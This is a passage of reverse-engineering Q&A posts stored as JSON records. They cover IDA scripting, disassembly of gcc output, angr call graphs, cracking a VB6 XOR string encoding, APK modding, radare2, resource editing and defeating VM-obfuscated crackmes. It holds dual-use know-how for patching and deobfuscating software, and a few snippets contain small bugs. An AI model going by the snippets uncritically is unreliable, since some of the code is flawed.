    # 0x4012d0 is the function address\n# 0x4012dc is an instruction address referencing\n# a stack variable. It looks like:\n# mov [ebp - 4], ecx\n\npFunc = get_func(0x4012d0)\npFrame = get_frame(pFunc)\ninst = DecodeInstruction(0x4012dc)\nop = inst[0] #first operand references stack var\npMember, val = get_stkvar(op, op.addr)\nxrefs = xreflist_t()\nbuild_stkvar_xrefs(xrefs, pFunc, pMember)\nfor xref in xrefs:\n    print hex(xref.ea) #print xref address\n\n# Contrived member dictionary example.\ndictMem = dict()\nx = 0\nwhile(x < pFrame.memqty):\n    dictMem[GetMemberName(pFrame.id, pFrame.get_member(x).soff)] = pFrame.get_member(x)\n    x = x+1\n# given var name you can now use the\n# dictionary to grab the member_t to pass\n# to build_stkvar_xrefs\npMem = dictMem[\"var_4\"]\nxrefs = xreflist_t()\nbuild_stkvar_xrefs(xrefs, pFunc, pMem)\nfor xref in xrefs:\n    print hex(xref.ea) #print xrefs to var_4\n
    \n\n

    soff isn't a stack offset. I think it means \"structure offset\", and it's an offset into the frame structure so you can retrieve other bits of information. You'll need this field to use other stack variable related functions such as: SetMemberType, SetMemberName, GetMemberName, DelStrucMember, etc.

    \n\n

    So, for a simple on the fly variable name to xref lookup, you can do something like:

    \n\n
    def get_stack_xrefs(func_ea, var_name):\n    pFunc = get_func(func_ea)\n    pFrame = get_frame(pFunc)\n    pMember = None\n    result = []\n    while(x < pFrame.memqty):\n        if GetMemberName(pFrame.id, pFrame.get_member(x).soff) == var_name:\n           pMember = pFrame.get_member(x)\n           break; \n        x = x+1\n    if pMember: \n        xrefs = xreflist_t()\n        build_stkvar_xrefs(xrefs, pFunc, pMember)\n        for each in xrefs:\n            result.append(each.ea)\n    return result\n
    \n\n

    If you want more information on these functions, I recommend taking a look at the following modules from the IDA SDK documentation (in no particular order):

    \n\n\n\n

    Reference: https://www.hex-rays.com/products/ida/support/sdkdoc/files.html

    \n" }, { "Id": "16059", "CreationDate": "2017-08-11T01:18:02.633", "Body": "

    After reading a number of blog posts, forums, and watching tutorials I figured I would start learning to reverse software the old fashion way. Creating simple C files and looking at their disassembly. In my quest to truly understand reversing, I thought also comparing optimized and unoptimized code would be beneficial. While looking through I came across a couple lines of code that appear to do nothing.

    \n\n

    I would love if someone can explain what the \"mov\"[es] in the unoptimized code is doing. All of these were disassembled using Hopper v4.

    \n\n

    C Code:

    \n\n
     #include <stdio.h>\n\n int main(int arg, char** arg) {\n    printf(\"Hello World!\\n\");\n    return 0;\n }\n
    \n\n

    Unoptimized Code (gcc -m32) :

    \n\n
    ; Variables:\n        ;    arg_4: 12\n        ;    arg_0: 8\n        ;    var_4: -4\n        ;    var_8: -8\n        ;    var_C: -12\n        ;    var_10: -16\n        ;    var_18: -24\npush       ebp\nmov        ebp, esp\nsub        esp, 0x18\ncall       _main+11\npop        eax                            ; CODE XREF=_main+6\n\n-- What purpose do these moves serve? --\nmov        ecx, dword [ebp+arg_4]\nmov        edx, dword [ebp+arg_0]\n--                                    --\nlea        eax, dword [eax-0x1f5b+0x1fa6] ; \"Hello World!\\\\n\"\n-- And what do these moves also serve? --\nmov        dword [ebp+var_4], 0x0\nmov        dword [ebp+var_8], edx\nmov        dword [ebp+var_C], ecx\n--                                    --\nmov        dword [esp+0x18+var_18], eax  ; method imp___symbol_stub__printf\ncall       imp___symbol_stub__printf\nxor        ecx, ecx                           \nmov        dword [ebp+var_10], eax\nmov        eax, ecx                                    \nadd        esp, 0x18                           \npop        ebp\nret\n
    \n\n

    Optimized Code (gcc -m32 -O3):

    \n\n
    push       ebp\nmov        ebp, esp\nsub        esp, 0x8\ncall       _main+11\npop        eax                             ; CODE XREF=_main+6\nlea        eax, dword [eax-0x1f6b+0x1f9e]  ; \"Hello World!\"\nmov        dword [esp+0x8+var_8], eax      ; \"%s\" for imp___symbol_stub__puts\ncall       imp___symbol_stub__puts\nxor        eax, eax\nadd        esp, 0x8\npop        eep\nret\n
    \n", "Title": "Optimized vs Unoptimized code comparison", "Tags": "|x86|intel|", "Answer": "

    First of all, I would advise you to read about the SystemV ABI for i386 and amd64. You can find the documents here:

    \n\n\n\n

    These documents define as precisely as possible how a compiler coder should translate some C/C++ code into i386/amd64 assembly code for a Unix-like system.

    \n\n

    They are extremely important documents and you should refer to it as often as possible because they contain a lot of answers for most of your questions.

    \n\n

    Now, back to your original question, in your case the main differences between the two codes is that gcc has optimized data movements in the memory as we will see.

    \n\n

    First code snippet

    \n\n
    -- What purpose do these moves serve? --\nmov        ecx, dword [ebp+arg_4]\nmov        edx, dword [ebp+arg_0]\n--                                    --\n
    \n\n

    Here, ecx and edx are loaded with the arguments of main (very likely argc and argv).

    \n\n

    Note that, none of argc and argv are of any use in the main() function. But, the compiler does not know about it because it did not performed dead-code/dead-variables analysis at this level of optimization. Of course, this code will be removed when the appropriate analysis will be performed.

    \n\n

    Second code snippet

    \n\n
    -- And what do these moves also serve? --\nmov        dword [ebp+var_4], 0x0\nmov        dword [ebp+var_8], edx\nmov        dword [ebp+var_C], ecx\n--                                    --\n
    \n\n

    Here, the program seems to store the arguments in the local memory frame (below ebp). Note that the arguments are above ebp and the automatic variables below (we say automatic variable for the variable which are within the function's scope).

    \n\n

    Of course, these data movements are totally unnecessary, but the compiler just apply a default template for starting a function which transfer a copy of the arguments in the local memory stack-frame. And, once again, when the compiler realize that these variables are of no use, then these moves will disappear.

    \n" }, { "Id": "16081", "CreationDate": "2017-08-13T02:58:47.633", "Body": "

    I have a non-stripped ELF binary for which I want to create a call graph as a dot file. Is there such a tool which generates the call graph?

    \n\n

    EDIT: Is there away in addition to the conventional call graph to find a call graph between libraries based on the executable. For example showing the call graph only of from libc to pthread.

    \n", "Title": "How to generate the call graph of a binary file?", "Tags": "|binary-analysis|elf|call-graph|", "Answer": "

    You can use angr-utils in order to generate the graph from angr : https://github.com/axt/angr-utils

    \n

    For more information please see:

    \n

    https://github.com/axt/angr-utils/blob/master/examples/plot_cg/README.md

    \n

    \"enter

    \n" }, { "Id": "16092", "CreationDate": "2017-08-15T16:57:50.783", "Body": "

    A friends company uses an old VB6 application to generate encoded strings to then use in their also old and out of date database system.

    \n\n

    They have the application running in standalone mode so I can test inputs and have it generate an encoded output, but they wanted to migrate it into a web based system to build the request string to prevent someone from having to access the old desktop locally.

    \n\n
    Input: AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz\nOutput: ~^}]|\\sSrRqQpPwWvVuUtTkKjJiIhHoOnNmMlLcCbBaA`@gGfFeE\n\nInput: 1234567890\nOutput: 4=<3210765\n\nInput: 1\nOutput: 5\n\nInput: 12\nOutput: 65\n\nInput: 123\nOutput: 765\n
    \n\n

    Any ideas on where I can start to figure this out? It looks like it does a single character encode and then reverses the string.

    \n\n

    EDIT: Gets a little more complex it seems.... If the input cross into a new column it appears to subtract 4?

    \n\n
    Input: ?\nOutput: ;\n\nInput: 789:;<=>?\nOutput: ;:98?>=<3\n
    \n\n

    Looks like maybe the application is using multiple definitions? Or doing some type of math range to determine to add or subtract?

    \n\n

    \"ASCII

    \n\n

    Decompiled Code that makes very little sense to me.

    \n\n
    Private Sub CommandButton_Click() '408C90\n  Dim var_44 As TextBox\n  Dim var_48 As TextBox\n  loc_00408CB5: var_8 = &H4010C0\n  loc_00408D16: Set var_44 = Me\n  loc_00408D25: var_28 = password.Text\n  loc_00408D6D: Set var_44 = Len(var_28)\n  loc_00408D7C: var_28 = password.Text\n  loc_00408DBE: \n  loc_00408DC5: If Len(var_28) < 0 Then GoTo loc_00408EDA\n  loc_00408DE5: var_54 = Me\n  loc_00408DF2: var_64 = 1\n  loc_00408DF9: var_6C = 2\n  loc_00408E00: var_44 = 0\n  loc_00408E07: var_5C = 9\n  loc_00408E1C: var_28 = CStr(Mid$(vbObject, Len(var_28), 1))\n  loc_00408E34: call __vbaStrI2(Asc(var_28) xor eax, Me, var_28, var_44, 0040856Ch, 000000A0h, 000000A0h, 000000A0h, 000000A0h)\n  loc_00408E70: var_84 = var_24\n  loc_00408E76: var_8C = 8\n  loc_00408E81: Var_Ret_1 = CLng(__vbaStrI2(Asc(var_28) xor eax, Me, var_28, var_44, 0040856Ch, 000000A0h, 000000A0h, 000000A0h, 000000A0h))\n  loc_00408E8C: var_5C = Chr(Var_Ret_1)\n  loc_00408EA1: var_6C = var_24 & var_24\n  loc_00408EC5: eax = var_5C Or FFFFFFFFh\n  loc_00408ECB: var_5C Or FFFFFFFFh = var_5C Or FFFFFFFFh + Len(var_28)\n  loc_00408ED5: GoTo loc_00408DBE\n  loc_00408EDA: \n  loc_00408EF0: var_A0 = vbEmpty\n  loc_00408F04: Set var_44 = Me\n  loc_00408F0F: var_28 = ip.Text\n  loc_00408F3B: Set var_48 = var_28\n  loc_00408F4A: var_30 = User.Text\n  loc_00408FC0: var_40 = \"http://\" & var_28 & \"/login?name=\" & var_30 & \"&password=\" & var_24\n  loc_00408FCA: Me.MousePointer = var_40\n  loc_0040902F: GoTo loc_00409081\n  loc_00409080: Exit Sub\n  loc_00409081: \n  loc_00409091: Exit Sub\nEnd Sub\n
    \n", "Title": "How can I identify how this string is being encoded so I can replicate it?", "Tags": "|encryption|encodings|strings|visual-basic|vb6|", "Answer": "

    Based on your examples, it looks like the strings are reversed and each byte is XORed with the byte 4. Here's a quick Perl one-liner to demonstrate this:

    \n\n
    perl -lne 'print reverse($_) ^ (\"\\x04\" x length($_))'\n
    \n\n

    and what happens when you apply it to your test strings:

    \n\n
    $ cat test.txt\nAaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz\n1234567890\n1\n2\n123\n?\n789:;<=>?\n\n$ perl -lne 'print reverse($_) ^ (\"\\x04\" x length($_))' test.txt \n~^}]|\\sSrRqQpPwWvVuUtTkKjJiIhHoOnNmMlLcCbBaA`@gGfFeE\n4=<3210765\n5\n6\n765\n;\n;:98?>=<3\n
    \n\n

    The fact that the input string gets reversed is pretty obvious if you compare the encryptions of 1 → 5 and 2 → 6 with 123 → 765.

    \n\n

    After figuring that out, and guessing that the rest is just a bytewise substitution cipher, you can figure out the pattern to the substitutions by looking at the encryptions of the letters. Specifically, we can see that (ignoring the reversal), the letters:

    \n\n
    ABCDEFGHIJKLMNOPQRSTUVWXYZ\n
    \n\n

    encrypt to:

    \n\n
    EFG@ABCLMNOHIJKTUVWPQRS\\]^\n
    \n\n

    Noting that @ comes right before A in ASCII (and ` likewise comes right before a), we can see that the encrypted alphabet is shuffled around in chunks of 4 letters:

    \n\n
    Input:  ABC DEFG HIJK LMNO PQRS TUVW XYZ\nOutput: EFG @ABC LMNO HIJK TUVW PQRS \\]^\n
    \n\n

    We can also see that the mapping is self-inverse: HIJK encrypts to LMNO while LMNO encrypts back to HIJK. This, along with the regular pattern of letter position swaps, should be a pretty strong hint that we might be dealing with bitwise XOR. Comparing the ASCII codes of any pair of plaintext/ciphertext letters is then sufficient to reveal the constant key byte (which we can then test on other known input strings to confirm our guess).

    \n" }, { "Id": "16097", "CreationDate": "2017-08-15T22:05:22.303", "Body": "

    I am trying to get all the library function calls that a binary performs in a preorder-DFT traversal of the CFG. I'm able to get the CFG like:

    \n\n
    import sys, angr\nimport networkx as nx\nproj = angr.Project(sys.argv[1],auto_load_libs=False)\ncfg = proj.analyses.CFG().graph\n
    \n\n

    I was able to get the CFG and I can even traverse it like this (Suppose I'm getting the correct main function's node):

    \n\n
    s = nx.dfs_preorder_nodes(cfg,mainFuncNode)\nnodes = []\ntry:\n    while True:\n        nodes.append(ns.next())\nexcept:\n    pass\n
    \n\n

    However I don't know how to get the function calls from the nodes (if they are actually doing it).\nI read some documentation and all I could come up with was:

    \n\n
    for n in nodes:\n    if n.is_simprocedure:\n          print n.to_codenode().function\n
    \n\n

    The output is all None and I'm sure that's wrong because the binary Is doing some I/O operations. So I expect to see something like:

    \n\n\n\n

    I would appreciate if you could give me some better pointers.

    \n", "Title": "How can I get the shared libraries' function calls using angr", "Tags": "|static-analysis|python|binary|control-flow-graph|angr|", "Answer": "
    \n

    However I don't know how to get the function calls from the nodes

    \n
    \n\n

    Are you saying you want to know which function a node belongs to, or which function a node is calling?

    \n\n

    For the former, each block has a corresponding CFGNode object that are in the graph. Each CFGNode has a .function_address member, which tells you the address of the function that the node belongs to.

    \n\n

    For the latter, every edge in the graph is labeled with properties, and we use 'jumpkind' to mark the type of an edge. An Ijk_Call jumpkind means that edge is a call from a block (or a node) to a function.

    \n\n

    By the way, angr's CFG class is more than just the .graph member (which is a networkx.DiGraph instance). You might find it easier sometimes to directly work on CFG, instead of manually traversing the graph.

    \n\n

    In addition, once a CFG is generated, you can access all functions by accessing CFG.functions. Each Function instance has two intra-function graphs associated with it: a .graph and a .transition_graph. You may find it easier to work with than traversing the CFG of the whole binary.

    \n\n

    In the end, if you like GUI, and you have a lot of patience, you might want to give angr Management a try.

    \n" }, { "Id": "16099", "CreationDate": "2017-08-16T02:17:29.150", "Body": "

    I am modifying the Dolphin Emulator Alpha for android, but I'm having some trouble with a string in it's smali code. The value I am having trouble with is dolphin-emu, it is the name of the folder that houses the emulators data and files. So far I have olny found two files containing the string, a configuration file in the assets folder, and a smali script. The issue is that even afyer changing both strings to Dolphin Emulator, the folder is still generated as dolphin-emu. I have scoured the application for any other references to this string and cannot find any more. How is the folder being generated with this name if I have replaced the string that represents it?

    \n\n

    I am using APK Editor Pro to modify the app, this is the method I almost always use. I've been modding android apps for years and have modded hundreds of them, but this one has me truly stumped. I've used every method I have developed over the years to hunt it down and nothing works. Using the built-in search function, I have searched for these strings to see if it is \"split\" or possibly even hidden:

    \n\n
    \"dolphin-emu\"\n\"dolphin\n\"/dolphin\nemu\"\nemu/\"\n\"DOLPHIN-EMU\"\nect...\n
    \n\n

    Nothing else turns up, the app is not obfuscated or protected, and I can't find anything else that could potentialy hold the string I am trying to mod. Initially this was about simply changing the value, but now I just want to figure out how this is happening. Even uninstalling then re-installing after modifying the APK did not work, I thought that it may be possible for a settings file in the apps data folder to \"remember\" where the folder was stored. I've never had this much trouble locating and modifying a string in an app before.

    \n", "Title": "Dolphin Emulator Android port modifications", "Tags": "|android|strings|local-variables|binary-editing|", "Answer": "

    After I did some more digging in the APK, I found what handles the fylesystem for the emulator. It is the libmain.so binary. Because it is handled by this file, modifying it is next to imposdible, this is because .so files are akin to windiws .dll binaries and are signed. Since modifying the file is not really an option, the only alternative answer to changing the emulators filesystem is to re-build it from the source code.

    \n\n

    \"The

    \n\n

    This is the first instance I have found something like this in an android app. Usually modifying file paths can be achieved through decompiling and modifying the DEX. Because of this, looking into the .so binaries was the last place I looked.

    \n" }, { "Id": "16108", "CreationDate": "2017-08-16T10:41:57.067", "Body": "

    Imagine a program is launched (on windows) with a few starting parameters, for example a number and a string.

    \n\n

    When disassembling the program (With PEiD for example), how can I find out the starting parameters? What I'd like to do is find out what \"variable\" the starting parameters are assigned, and then track the use of that variable, in order to find the section in which they get used.

    \n\n

    I am completely new to all of this assembly stuff, so this question may be stupid, but I didn't manage to find my answer through simple googling.\nThanks!

    \n", "Title": "Disassembled code: Find out command-line arguments of program", "Tags": "|disassembly|arguments|program-analysis|", "Answer": "

    Unlike Linux, on Windows command-line arguments are not passed to the program's entrypoint but must be retrieved from the OS by using the API GetCommandLine. However, it is rarely used in actual programs. Usually it is the CRT startup which calls it, then either passes it to the WinMain function (for GUI programs), or splits it into the argument array (argv) and passes that to main (for console programs).

    \n\n

    Some disassemblers (e.g. IDA) can automatically identify the CRT code and show you just the main/WinMain function, in which case you can just look at the corresponding arguments (argv/argc or lpCmdLine).

    \n" }, { "Id": "16112", "CreationDate": "2017-08-16T17:37:25.363", "Body": "

    I compiled cpython with debugging headers and I want to perform the following analysis using radare2.

    \n\n

    The problem I encounter is that it takes forever (at least 27 hours) to perform the aaa (analysis) part.

    \n", "Title": "How to make radare2 work for a large binary?", "Tags": "|binary-analysis|radare2|", "Answer": "

    It is not a good practice to run full analysis of your binary at the startup and it also isn't encourged by radare. Running aaa by default is a heavy action and absolutely not recommended or needed in most of the cases.

    \n\n

    As stated in this execllent post from radare's blog:

    \n\n
    \n

    Code analysis is not a quick operation, and not even predictable or taking a linear time to be processed. This makes starting times pretty heavy, compared to just loading the headers and strings information like it\u2019s done by default.
    \n ...
    \n We enforce users to think about their workflows in order to better understand the problem they are facing and solve it in an optimal way, saving cpu, memory and why not: cats.

    \n
    \n\n

    To make the analysis process more efficient you can start with configuring different analysis configuration variables in radare. These configuration variables can help you to fit the analysis process to your program and to your needs. Some of the interesting variables are:

    \n\n
    anal.afterjmp  \nanal.depth  \nanal.eobjmp  \nanal.esil  \nanal.hasnext  \nanal.nopskip  \nanal.from\nanal.to\n
    \n\n

    See the e??anal. command to get more detailed descriptions for them.

    \n\n

    Analysis of a program isn't just performing one action and that's it -- it is combined from different analysis for different needs.
    \nradare implements many different commands that perform different kind of analysis. Smart use of these command can help you quick the process of the analysis and analyze only the parts which you believe are the most important:

    \n\n\n\n

    To sums it up, you should think and plan the analysis process that fits best to your needs:

    \n\n
    \n

    radare2 is not a click-and-run program, it\u2019s a set of orthogonal tools and commands that allows you to understand, analyze, manipulate and play with a large list of binary types... Only experience and understanding will give you control on what you are doing.

    \n
    \n\n

    If after reading this answer and the post in radare's blog you believe its a bug and you can point at the problem, feel free to open an issue on github.

    \n" }, { "Id": "16118", "CreationDate": "2017-08-16T20:51:56.370", "Body": "

    I am trying to disassemble a MIPS 32 version 1 binary with the Radare2 framework.

    \n\n

    Here is the full output of the file command:

    \n\n
    ELF 32-bit LSB executable, MIPS, MIPS32 version 1 (SYSV), dynamically linked, \ninterpreter /lib/ld-uClibc.so.0, stripped\n
    \n", "Title": "Disassembling MIPS 32 version 1 binary with the Radare2 Framework", "Tags": "|disassembly|binary-analysis|elf|radare2|mips|", "Answer": "

    First of all, make sure you run the latest version of radare2 from git repository:

    \n\n
    $ git clone https://github.com/radare/radare2.git\n$ cd radare2\n$ ./sys/install.sh\n
    \n\n

    If you don\u2019t want to install the git version or you want the binaries for another machine (Windows, OS X, iOS, etc) check out the download page at the radare2 website.

    \n\n

    To open MIPS binary with radare2, simply use the following command:

    \n\n
    radare2 -a mips -b 32 ./file\n
    \n\n\n\n

    Don't forget to read the manual (man r2), it's all there.

    \n\n

    For more relative information you can watch Andrew McDonnell's talk \n called \"Reverse engineering embedded software using radare2\" (slides: link).

    \n\n

    If you feel that you need more basic information about radare2 and how to use it, I recommend the following sources:

    \n\n
      \n
    1. Radare2 Book
      2. \n
    2. Radare2 Explorations
      3. \n
    3. Radare Demystified (Talk)
      4. \n
    \n" }, { "Id": "16129", "CreationDate": "2017-08-18T11:15:46.357", "Body": "

    Ok so let's say that a program obfuscated its IAT and i can't see it in IDA Pro. In OllyDbg there is a plugin where you press Ctrl+G you can search for a library function and set a breakpoint even though that function is not listed in the IAT. My question is how can i do this in IDA Pro?

    \n\n

    Thanks

    \n", "Title": "Getting Xrefs to Windows Library Functions in IDA Pro", "Tags": "|ida|ollydbg|malware|ida-plugin|iat|", "Answer": "

    During debugging, you can use names in format \"DllName_export\" (e.g. kernel32_CreateFileA) to jump to functions exported by the loaded DLLs, or you can use such names in \"symbolic breakpoints\" so they're automatically added when DLL gets loaded.

    \n\n

    Also: double-click a DLL in the Modules list to see its exports and jump to/set breakpoints on them.

    \n" }, { "Id": "16133", "CreationDate": "2017-08-18T18:42:35.040", "Body": "

    I'm trying to make some changes to .Net dll (note: dll is mixed mode module) used by an exe, ProtectionID detected nothing, so I happily jumped into dnSpy and made changes.

    \n\n

    I ran executable with dnSpy debugger and everything was working as expected. However when I saved module and tried to run executable, it worked as if no changes were made.

    \n\n

    I double checked, but module saved correctly, and x64dbg shows that it is loaded on runtime. So how is this possible?

    \n", "Title": "Modified dll works as original without debugger attached", "Tags": "|.net|", "Answer": "

    Found the reason and I feel quite retarded now since it was so obvious. It was NativeImage being loaded and removing all generated images actually made my changes load. Thanks @Pawe\u0142\u0141ukasik for pointing me in right direction.

    \n" }, { "Id": "16134", "CreationDate": "2017-08-18T19:50:36.593", "Body": "

    Let's bring example

    \n\n

    We have string

    \n\n
    0000000000bd2906 db \"CurrentKey\", 0 ; DATA XREF=sub_555670+3390\n
    \n\n

    And it's used here

    \n\n
    00000000005563ae lea rsi, qword [0xbd2906] ; \"CurrentKey\"\n
    \n\n

    Disassembler already knows where is variable reference. Knows that \"CurrentKey\" string is stored at 0xbd2906 and used at 0x5563ae.\nQuestion is, how can i manually locate where variable is used without using disassembler (to do this automatically from code) ?

    \n\n

    Can someone explain it or provide cpp example ?

    \n", "Title": "Finding variable reference in cpp", "Tags": "|disassembly|assembly|binary-analysis|c++|", "Answer": "

    It depends on what exactly the context is. What type of binary is it? Are you talking about on-disk or in-memory? What os are you on?

    \n\n

    I would highly recommend you use a disassembly engine library which makes most of these questions moot. Capstone is nice.

    \n\n

    If you really want to do it by yourself, you can. For instance, if your target is a PE file, you'll need to map it into memory. This means understanding the PE format or using a library such as PeLib. Once you've done that, you'll want to search for the string in question. This would generally be in the \".rdata\" section (marked for RO) if it's a constant string, or in the \".data\" section (marked for RW) if it's a mutable string. Once you've found it, you'll need to scan through the \".text\" section (marked for RWE) for the address that corresponds to the string.

    \n\n

    There's a few caveats here. First, these section names and protections may be different if the binary is packed, written in managed code, or compiled by a non-standard compiler. These same things can lead to greatly complicating the task.

    \n\n

    Second, you will have to deal with ASLR. The binary will either have ASLR enabled, meaning there is a relocations table which needs to be parsed and applied to the binary to get the final addresses; or it won't have ASLR, meaning all of the addresses will assume 0x00040000 as a base and you will need to take this into account when calculating the address of the string once you've found it (oh, you mapped the binary at 0x0006500 and the string was found at 0x00006516? You must scan for address (0x00006516 - 0x0006500) + 0x00040000). This is similar to what you need to do when applying relocations.

    \n\n

    One thing to keep in mind is that relocations can be useful. Generally, when they exist, they will tell of every single offset that uses an address in the binary relative to the base address. So you might also just scan each offset that is relocated, checking for one whose proper address resolves to one containing your target string.

    \n\n

    I wish I could be more helpful, but this is what I can offer with the information you've provided. Hopefully it puts you in the right direction.

    \n" }, { "Id": "16150", "CreationDate": "2017-08-21T06:43:47.990", "Body": "

    I've been hacking and modding software for years, and have learned a lot, but there are still a few things that vex me - this is one such case.

    \n

    I have noticed that some PEs contain an RCData section that can house a large variety of different kinds of data and information. In my experience the data is usually binary files or dialog classes. In this case, I am trying to figure out how an image is being stored in what I can only describe as binary raw format for a dialog (thanks to @Megabeets for refreshing my memory). In my more inexperienced days, I thought the image data in these files was stored directly as plain text or hexadecimal values. When I compared the data in the resource data to the image in question (stored in a different tree as a different format), they did not match. In some cases, this data is its own image with no comparable alternative. Below is an screenshot of the data in question:

    \n

    \"Binary

    \n

    I know this data is for an icon, as removing it also removes the image in the application. For some programs, this data can be a dialog GUI asset, or bitmap. How do I "convert" this data into an image or vise versa for modification or replacement?

    \n

    As a potential alternative solution, could I modify the script to directly reference the main application icon instead?

    \n

    Side-note: The image is an icon group containing four icons, and acts as the title bar icon.

    \n", "Title": "How can I modify binary image resource data?", "Tags": "|windows|executable|binary-editing|", "Answer": "

    Firstly, we need to understand what is RCDATA resource. This is how it described in MSDN:

    \n\n
    \n

    RCDATA defines a raw data resource for an application. Raw data resources\n permit the inclusion of binary data directly in the executable file.

    \n \n

    nameID RCDATA [optional-statements] {raw-data ...}

    \n \n

    raw-data
    \n Raw data consisting of one or more integers or strings of\n characters. Integers can be specified in decimal, octal, or\n hexadecimal format. To be compatible with 16-bit Windows, integers are\n stored as WORD values. You can store an integer as a DWORD value by\n qualifying the integer with the \"L\" suffix.

    \n
    \n\n

    In your example we see the configuration of TfrmMain which is the main form that is derived from TForm and is used as user interface for the program.

    \n\n

    With that in mind, we can understand that Icon.Data stores an icon for the application in what seems like an hexadecimal representation of it.
    \nAnd indeed, if we will take a look at the ICO registration information for at IANA we can see that the Magic Number (the first four octets in the file in hexadecimal) of ICO files is same as in your example:

    \n\n
    \n

    Additional information :
    \n 1. Magic number(s) : 00 00 01 00
    \n 2. File extension(s) : ico

    \n
    \n\n

    When you compare the Icon.Data with another image, which you said has different file format, you won't see a match because each image format has different structure and specification and therefore, even though the files might look the same, the binary data is different.

    \n\n

    You can convert hex string into an image and an image to hex string easily using python:

    \n\n
    import binascii\n\n# open ico file and read its binary content\nwith open('example.ico', 'rb') as f:\n    content = f.read()\n\n# convert the binary content to hexadecimal string\nhexstr = binascii.hexlify(content)\n\n# write this hexadecimal string to output.ico as binary\nwith open('output.ico','wb') as f:\n    f.write(binascii.unhexlify(hexstr))\n
    \n\n

    You can copy and paste the Icon.Data to a plain text and then read it with python using:

    \n\n
    with open('hexadecimal.txt', 'r') as f:\n    content = f.read()\n
    \n\n

    And then write the content to a file in binary format using the example above.

    \n\n

    With Resource Hacker you then can remove, add, edit and compile resources in your binary.

    \n" }, { "Id": "16154", "CreationDate": "2017-08-21T09:46:37.757", "Body": "

    I'm trying to understand how ARM add with shift is implemented e.g.

    \n\n
    sym.imp.__libc_start_main :                                                                                                                                                           \n\n.plt:0x000082bc 00c68fe2 add ip, pc, 0, 12; after execution ip=0x82c4\n.plt:0x000082c0 08ca8ce2 add ip, ip, 8, 20; after execution ip=0x102c4\n.plt:0x000082c4 48fdbce5 ldr pc, [ip, 0xd48]!\n
    \n\n

    I wonder about the line

    \n\n
    .plt:0x000082c0 08ca8ce2 add ip, ip, 8, 20;\n
    \n\n

    it will add #0x8000 to the ip register. My question is why #0x8000 ?

    \n\n

    I'd assume it will be:

    \n\n
    ip = ip + (8<<20)\n
    \n\n

    so 0x800000 but it's more like

    \n\n
    ip = ip + (8<<(20-8))\n
    \n\n

    Why is that? do I always have to substract 8 from the shift ?

    \n", "Title": "ARM \"add\" instruction with shift", "Tags": "|disassembly|assembly|arm|", "Answer": "

    It is proposed in the official document of arm\n\"arm1\"

    \n

    When s = 1 and RD = R15 (PC), this instruction is used to save the status register CPSR, not to do calculation\n\"arm2\"

    \n" }, { "Id": "16167", "CreationDate": "2017-08-23T13:26:13.797", "Body": "

    I am currently working on some crackme, that has implemented an obfuscation technique, virtualisation. The virtual machine inside this crackme is a huge switch-case block (over 130 cases in it). I have already read dozens of article, but none are making things clear enough.

    \n\n

    I have found some info though, that I can find some buffer in memory, containing opcodes, that are native assembly code that are then interpreted by the virtual machine in switch cases block.

    \n\n

    Finding them will provide an opportunity to write a small disassembler on any language preferred, where in \"case\"-blocks would be the native operations written, like printf(\"mov eax, dword ptr [ebp-4]\"). That way I can figure out the algorithm of generating and checking the serial.

    \n\n

    However, I am stuck on finding that memory location with opcodes. Can anyone advice me something on how to find these, some techniques, or at least some good literature or tutorials on how to deal with such a thing? May be there are some common ways to crack this kind of crackme.

    \n\n

    Your help is very much appreciated.

    \n", "Title": "Reverse engineering the virtual machine based crackme", "Tags": "|disassembly|crackme|assembly|virtualizers|", "Answer": "

    First of all, the fact to turn a program into a bytecode that will be interpreted by a crafted VM which will be embedded into the software is a quite well-known technique of obfuscation. There have been numerous writings about it.

    \n

    If you want to find good pointers about it (and how to solve it in different ways), I would advise you to search for "VM-based obfuscation" on any search engine. It should provide you with a lot of literature about it.

    \n

    Now, solving this kind of thing require first to identify the internal language of the machine and then to understand the program that is coded into this language. For now, there have been only very few progress in automating this process and human is still heavily required to guide and understand what is going on in the obfuscated program.

    \n

    Yet, one nice thing you can look at is the fact that the VM itself usually looks like another obfuscation called "CFG-flattening" that can be partially processed automatically (even though, I cannot advise you any public tool about it). Anyway, the VM-based obfuscation and the CFG-flattening obfuscation are somehow very close (the CFG-flattening is a subcase of the VM-based obfuscation), so do not hesitate to look at these two techniques and the tricks that may be associated to it.

    \n

    Here is a bunch of pointers that you may find relevant:

    \n

    About VM-based obfuscation

    \n\n

    Also, this question in this website is also relevant to look at.

    \n

    About CFG-flattening

    \n\n

    Of course, you may find more useful links by yourself! Feel free to improve the list on your own! I just hope that these ones will help you a bit.

    \n" }, { "Id": "16178", "CreationDate": "2017-08-25T12:13:57.427", "Body": "

    I'm trying to analyze a MS-DOS COM file that I wrote a few years ago with IDA Free 5.0, I've since renamed the segment to code_and_data and named constants and set data types correctly. However, when looking at the disassembly, I get db pseudo-instructions in the listing, like this:

    \n\n
    \ncode_and_data:0106 replacement_irq_handler:                ; DATA XREF: start+81o\ncode_and_data:0106                 cli\ncode_and_data:0107                 push    bx\ncode_and_data:0108                 db      3Eh\ncode_and_data:0108                 cmp     byte ptr ds:3BEh, 'C'\ncode_and_data:010E                 jnz     short call_original_dos_interrupt_handler\ncode_and_data:0110                 db      3Eh\ncode_and_data:0110                 cmp     byte ptr ds:3C0h, 'A'\ncode_and_data:0116                 jnz     short call_original_dos_interrupt_handler\ncode_and_data:0118                 db      3Eh\ncode_and_data:0118                 cmp     byte ptr ds:3C2h, 'K'\ncode_and_data:011E                 jnz     short call_original_dos_interrupt_handler\ncode_and_data:0120                 db      3Eh\ncode_and_data:0120                 cmp     byte ptr ds:3C4h, 'O'\ncode_and_data:0126                 jnz     short call_original_dos_interrupt_handler\ncode_and_data:0128                 db      3Eh\ncode_and_data:0128                 cmp     byte ptr ds:3C6h, 'N'\ncode_and_data:012E                 jnz     short call_original_dos_interrupt_handler\ncode_and_data:0130                 push    StartOfIndexTable\ncode_and_data:0133                 pop     bx\n
    \n\n

    I understand that there are no additional bytes there, since the db and the cmp instruction after it start at the same address (see left column). Why does IDA show/add those db pseudo-instructions?

    \n\n

    Is there any way to tell it to not show those, or is there a reason why it might be useful (I could only guess that since the same segment is both used for code and data, it tries to be \"helpful\" and show the code as data as well)?

    \n\n

    But if so, why does it only show the first byte of the instruction (if you look at the addresses on the left again, these instructions are longer than 1 byte).

    \n", "Title": "Why does IDA add \"db\" statements between disassembled code", "Tags": "|ida|disassembly|x86|dos-com|", "Answer": "

